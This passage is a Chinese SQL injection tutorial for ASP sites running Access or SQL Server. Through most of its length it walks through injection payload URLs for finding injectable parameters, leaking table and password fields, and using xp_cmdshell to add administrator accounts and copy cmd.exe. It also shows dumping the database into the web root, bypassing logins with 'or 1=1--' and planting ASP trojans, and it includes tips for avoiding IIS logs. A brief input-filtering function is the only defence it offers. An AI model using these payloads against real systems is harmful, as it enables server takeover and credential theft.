SQL注入全接触

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
   但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
SQL注入漏洞全接触--入门篇
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
   但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
   根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...
入 门 篇
   如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
   以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
   在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
   不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
   当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
   不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
   怎么让程序告诉你它使用的什么数据库呢?来看看:
   SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.19cn.com/showdetail.asp?id=49 and user>0
   这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
   顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
   如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
   如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
   如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
  ③ http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:/inetpub/wwwroot/1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如//202.96.xx.xx/Share/1.db),但成功率不高。
  ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防 范 方 法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If ParaValue="" or not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。
SQL注入法攻击一日通
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根
据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。
据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,以SQL-SERVER+ASP例说明SQL注入的原理、方法与过程。(PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章)
SQL注入攻击的总体思路是:
l 发现SQL注入位置;
l 判断后台数据库类型;
l 确定XP_CMDSHELL可执行情况
l 发现WEB虚拟目录
l 上传ASP木马;
l 得到管理员权限;
一、SQL注入漏洞的判断
一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。
为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。
1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;
二、区分数据库服务器类型
一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
1、 利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
2、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
3、 MSSQL三个关键系统表
sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。
dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。
Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
对象类型(xtype)。可以是下列对象类型中的一种:
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束(类型是 K)
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束(类型是 K)
V = 视图
X = 扩展存储过程
当xtype='U' and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。
syscolumns :每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是刚上我们用sysobjects得到的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。
5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk='c:/inetpub/wwwroot/save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:/winnt/system32/cmd.exe c:/inetpub/scripts/cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
四、发现WEB虚拟目录
只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
一是根据经验猜解,一般来说,WEB虚拟目录是:c:/inetpub/wwwroot; D:/inetpub/wwwroot; E:/inetpub/wwwroot等,而可执行虚拟目录是:c:/inetpub/scripts; D:/inetpub/scripts; E:/inetpub/scripts等。
二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
先创建一个临时表:temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下来:
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:/';--
(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--
这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec ... nbsp;'type c:/web/index.htm';--
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:/inetpub/wwwroot/index.htm'
浏览temp就可以看到index.htm文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
当然,如果xp_cmshell能够执行,我们可以用它来完成:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:/';--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c:/ *.asp /s/a';--
通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ub/AdminScripts/adsutil.vbs enum w3svc'
但是,如果不是SA权限,我们还可以使用
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--
注意:
1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。
五、上传ASP木马
所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
1、利用WEB的远程管理功能
许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。
用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、 注入法:
从理论上说,认证网页中会有型如:
select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:
select * from admin where username='abc’ or 1=1 and password='123’ 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
B、猜解法:
基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
l 猜解所有数据库名称
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有数据库名。
以下假设得到的数据库名是TestDB。
l 猜解数据库中用户名表的名称
猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
l 猜解用户名字段及密码字段名称
admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。
读取法:基本的实现方法是
